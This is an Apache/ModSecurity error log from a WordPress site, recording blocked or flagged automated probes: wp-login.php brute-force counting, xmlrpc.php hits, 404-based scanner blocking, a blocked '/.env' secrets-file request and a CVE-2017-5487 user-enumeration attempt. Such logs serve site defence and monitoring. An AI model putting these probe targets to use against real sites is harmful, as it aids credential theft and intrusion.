[Sat Jan 31 06:02:37.455417 2026] [autoindex:error] [pid 20836:tid 20843] [client 20.89.106.10:13658] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 06:02:39.231889 2026] [:error] [pid 20836:tid 20864] [client 20.89.106.10:13658] [client 20.89.106.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/gravityforms/"] [unique_id "aX0qf4ACllgWRWVrYITucQAAAVc"]
[Sat Jan 31 06:02:39.837213 2026] [:error] [pid 20210:tid 20224] [client 20.89.106.10:19272] [client 20.89.106.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/gravityforms/"] [unique_id "aX0qf3Ky7OGBlTY8MCe-GgAAAQw"]
[Sat Jan 31 06:02:40.297988 2026] [:error] [pid 20836:tid 20843] [client 20.89.106.10:6380] [client 20.89.106.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/gravityforms/"] [unique_id "aX0qgIACllgWRWVrYITudwAAAUI"]
[Sat Jan 31 06:02:40.763442 2026] [:error] [pid 39243:tid 39297] [client 20.89.106.10:15191] [client 20.89.106.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/gravityforms/"] [unique_id "aX0qgBBW1k4JK8a4v0ZPWQAAAE8"]
[Sat Jan 31 06:48:30.627325 2026] [:error] [pid 39243:tid 39303] [client 91.217.249.212:60651] [client 91.217.249.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.212, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX01PhBW1k4JK8a4v0Za7wAAAFU"]
[Sat Jan 31 06:48:31.706645 2026] [:error] [pid 52451:tid 52469] [client 91.217.249.200:37029] [client 91.217.249.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX01P3ubVy7MGYWM2NYj7AAAAc8"]
[Sat Jan 31 08:05:17.180150 2026] [:error] [pid 39242:tid 39278] [client 91.217.249.211:37343] [client 91.217.249.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.211, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX1HPdOgXnkKGGSSCIONqAAAABg"]
[Sat Jan 31 08:05:17.181446 2026] [:error] [pid 20210:tid 20217] [client 91.217.249.208:52511] [client 91.217.249.208] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.208, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX1HPXKy7OGBlTY8MCfYjAAAAQU"]
[Sat Jan 31 08:47:58.105793 2026] [:error] [pid 20836:tid 20846] [client 42.96.16.189:50076] [client 42.96.16.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 42.96.16.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX1RPoACllgWRWVrYIQUMQAAAUU"]
[Sat Jan 31 08:48:01.734048 2026] [:error] [pid 20210:tid 20236] [client 47.88.48.42:51676] [client 47.88.48.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.88.48.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX1RQXKy7OGBlTY8MCfijgAAARg"]
[Sat Jan 31 08:48:06.880120 2026] [:error] [pid 20836:tid 20864] [client 8.140.12.97:37436] [client 8.140.12.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.140.12.97, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX1RRoACllgWRWVrYIQUNwAAAVc"]
[Sat Jan 31 08:48:12.407001 2026] [:error] [pid 39244:tid 39325] [client 118.89.200.37:40070] [client 118.89.200.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 118.89.200.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX1RTHo-KRTvg3jHEDwEKgAAAI8"]
[Sat Jan 31 08:48:42.721632 2026] [:error] [pid 20836:tid 20846] [client 192.64.112.17:55006] [client 192.64.112.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.64.112.17, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX1RaoACllgWRWVrYIQUTwAAAUU"]
[Sat Jan 31 09:07:39.692597 2026] [:error] [pid 52415:tid 52441] [client 102.222.188.10:38092] [client 102.222.188.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.222.188.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX1V25-DUxb_li2fU6I7ZAAAAZg"]
[Sat Jan 31 09:26:49.084952 2026] [:error] [pid 20836:tid 20856] [client 91.217.249.187:56355] [client 91.217.249.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX1aWYACllgWRWVrYIQehgAAAU8"]
[Sat Jan 31 09:26:49.090965 2026] [:error] [pid 52484:tid 52503] [client 91.217.249.194:29027] [client 91.217.249.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.194, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX1aWUpwiaulxucQh7XyEwAAAhE"]
[Sat Jan 31 10:27:42.370645 2026] [:error] [pid 39339:tid 39346] [client 54.164.183.147:45724] [client 54.164.183.147] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.164.183.147, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX1onsWi-IjigR3oHY7dTQAAAMU"]
[Sat Jan 31 10:48:46.349980 2026] [:error] [pid 39243:tid 39301] [client 91.217.249.225:54909] [client 91.217.249.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX1tjhBW1k4JK8a4v0aj9gAAAFM"]
[Sat Jan 31 10:48:46.353085 2026] [:error] [pid 52520:tid 52533] [client 91.217.249.201:21251] [client 91.217.249.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX1tjmS_bInnwm0xKSoE6wAAAks"]
[Sat Jan 31 12:11:12.062915 2026] [:error] [pid 52520:tid 52538] [client 91.217.249.205:20289] [client 91.217.249.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.205, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX2A4GS_bInnwm0xKSopOwAAAlA"]
[Sat Jan 31 12:11:12.063342 2026] [:error] [pid 52415:tid 52426] [client 91.217.249.197:62269] [client 91.217.249.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX2A4J-DUxb_li2fU6KDTQAAAYk"]
[Sat Jan 31 12:17:13.587254 2026] [:error] [pid 52484:tid 52507] [client 157.245.6.105:37322] [client 157.245.6.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.6.105, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX2CSUpwiaulxucQh7Up_gAAAhU"]
[Sat Jan 31 13:21:48.081865 2026] [:error] [pid 59581:tid 59603] [client 8.140.12.97:51610] [client 8.140.12.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.140.12.97, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX2RbLpwqlqnnPNSmoGh4AAAA5M"]
[Sat Jan 31 13:22:04.693702 2026] [:error] [pid 39242:tid 39268] [client 103.69.96.39:46576] [client 103.69.96.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.69.96.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX2RfNOgXnkKGGSSCIPlaAAAAA4"]
[Sat Jan 31 13:22:30.528534 2026] [:error] [pid 52451:tid 52475] [client 198.54.114.124:43492] [client 198.54.114.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.54.114.124, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX2RlnubVy7MGYWM2NaELQAAAdU"]
[Sat Jan 31 13:22:39.377628 2026] [:error] [pid 39339:tid 39362] [client 89.116.104.41:60042] [client 89.116.104.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.116.104.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX2Rn8Wi-IjigR3oHY4NoAAAANU"]
[Sat Jan 31 13:40:28.222717 2026] [:error] [pid 59523:tid 59530] [client 45.86.202.180:64261] [client 45.86.202.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.180, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX2VzJEkxOIGmVhqUWI1mQAAAwM"]
[Sat Jan 31 14:03:30.014707 2026] [:error] [pid 20836:tid 20855] [client 59.125.102.142:45424] [client 59.125.102.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.142, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX2bMoACllgWRWVrYIRkfgAAAU4"]
[Sat Jan 31 14:15:49.187345 2026] [:error] [pid 59581:tid 59598] [client 147.135.213.175:42674] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aX2eFbpwqlqnnPNSmoGr7QAAA44"]
[Sat Jan 31 14:15:51.189361 2026] [:error] [pid 8166:tid 8181] [client 147.135.213.175:58462] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aX2eF1VdBgUeopOXLAfZHgAAAE0"]
[Sat Jan 31 14:15:53.250116 2026] [:error] [pid 39242:tid 39263] [client 147.135.213.175:58474] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aX2eGdOgXnkKGGSSCIPyqQAAAAk"]
[Sat Jan 31 14:15:56.954005 2026] [:error] [pid 59581:tid 59588] [client 147.135.213.175:58478] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aX2eHLpwqlqnnPNSmoGr8wAAA4Q"]
[Sat Jan 31 14:16:00.783247 2026] [:error] [pid 52451:tid 52474] [client 147.135.213.175:52242] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aX2eIHubVy7MGYWM2NaN-gAAAdQ"]
[Sat Jan 31 16:18:09.819090 2026] [:error] [pid 18803:tid 18824] [client 170.249.163.210:52984] [client 170.249.163.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.249.163.210, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX26wS2kTcRk9EBIxOFV3wAAAhI"]
[Sat Jan 31 16:57:37.135262 2026] [:error] [pid 44532:tid 44539] [client 45.86.202.195:34057] [client 45.86.202.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX3EAcH-68uYbAtfrZ1kDwAAAUM"]
[Sat Jan 31 16:57:37.137776 2026] [:error] [pid 18773:tid 18789] [client 45.86.202.200:21955] [client 45.86.202.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX3EAdHy21j24IPrB1XN-wAAAY4"]
[Sat Jan 31 18:11:32.287383 2026] [:error] [pid 39339:tid 39342] [client 43.159.152.184:36044] [client 43.159.152.184] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aX3VVMWi-IjigR3oHY5UBAAAAME"]
[Sat Jan 31 18:38:59.787834 2026] [:error] [pid 18773:tid 18784] [client 47.112.205.249:33448] [client 47.112.205.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.112.205.249, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX3bw9Hy21j24IPrB1XcFgAAAYk"]
[Sat Jan 31 18:43:45.004189 2026] [:error] [pid 44532:tid 44546] [client 45.155.68.133:51012] [client 45.155.68.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aX3c4cH-68uYbAtfrZ11LwAAAUo"]
[Sat Jan 31 18:49:42.553998 2026] [:error] [pid 31465:tid 31503] [client 104.248.68.145:33316] [client 104.248.68.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.248.68.145, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX3eRjkaGp475ez0mlzk1wAAAkk"]
[Sat Jan 31 18:55:38.794526 2026] [:error] [pid 31465:tid 31507] [client 167.86.119.137:59060] [client 167.86.119.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.86.119.137, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX3fqjkaGp475ez0mlzmsgAAAk0"]
[Sat Jan 31 19:18:59.014321 2026] [:error] [pid 18803:tid 18811] [client 163.223.13.96:48084] [client 163.223.13.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.223.13.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX3lIy2kTcRk9EBIxOF79wAAAgU"]
[Sat Jan 31 19:19:31.737582 2026] [:error] [pid 59582:tid 59637] [client 138.122.71.215:53800] [client 138.122.71.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.122.71.215, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX3lQ45dwpvvp1Lc6f1rUgAAA9g"]
[Sat Jan 31 19:55:26.451667 2026] [:error] [pid 18803:tid 18811] [client 45.86.202.196:56363] [client 45.86.202.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.196, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX3tri2kTcRk9EBIxOGDzwAAAgU"]
[Sat Jan 31 19:55:26.452738 2026] [:error] [pid 39339:tid 39365] [client 45.86.202.195:54541] [client 45.86.202.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX3trsWi-IjigR3oHY5s5AAAANg"]
[Sat Jan 31 20:13:25.945057 2026] [:error] [pid 18803:tid 18827] [client 106.219.150.90:8984] [client 106.219.150.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.150.90, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX3x5S2kTcRk9EBIxOGHxAAAAhU"]
[Sat Jan 31 20:17:42.116628 2026] [:error] [pid 31465:tid 31517] [client 106.219.150.90:30972] [client 106.219.150.90] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aX3y5jkaGp475ez0mlwA5QAAAlc"]
[Sat Jan 31 20:19:42.246775 2026] [:error] [pid 39242:tid 39275] [client 106.219.150.90:13500] [client 106.219.150.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.150.90, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX3zXtOgXnkKGGSSCIM3gAAAABU"]
[Sat Jan 31 20:21:50.432647 2026] [:error] [pid 18803:tid 18821] [client 106.219.150.90:7490] [client 106.219.150.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.150.90, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX3z3i2kTcRk9EBIxOGJzwAAAg8"]
[Sat Jan 31 20:24:02.375676 2026] [:error] [pid 31465:tid 31516] [client 106.219.150.90:32362] [client 106.219.150.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.150.90, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX30YjkaGp475ez0mlwCdQAAAlY"]
[Sat Jan 31 20:26:09.895646 2026] [:error] [pid 59523:tid 59533] [client 106.219.150.90:26947] [client 106.219.150.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.150.90, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX304ZEkxOIGmVhqUWJ-twAAAwY"]
[Sat Jan 31 20:35:11.757783 2026] [:error] [pid 44533:tid 44583] [client 209.142.65.156:38104] [client 209.142.65.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.142.65.156, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX32_4Njc98kHMNVmntDtQAAAdQ"]
[Sat Jan 31 20:56:16.312213 2026] [:error] [pid 18803:tid 18827] [client 24.199.98.30:48100] [client 24.199.98.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 24.199.98.30, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX378C2kTcRk9EBIxOGQtwAAAhU"]
[Sat Jan 31 21:00:00.983083 2026] [:error] [pid 39242:tid 39265] [client 122.117.102.125:56470] [client 122.117.102.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 122.117.102.125, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php/wp-login.php"] [unique_id "aX380NOgXnkKGGSSCIM_VQAAAAs"]
[Sat Jan 31 21:11:12.982819 2026] [:error] [pid 31465:tid 31507] [client 65.21.12.180:57220] [client 65.21.12.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.21.12.180, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX3_cDkaGp475ez0mlwQyQAAAk0"]
[Sat Jan 31 21:31:07.304334 2026] [:error] [pid 18773:tid 18779] [client 103.238.128.55:37194] [client 103.238.128.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.238.128.55, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX4EG9Hy21j24IPrB1Xz5AAAAYQ"]
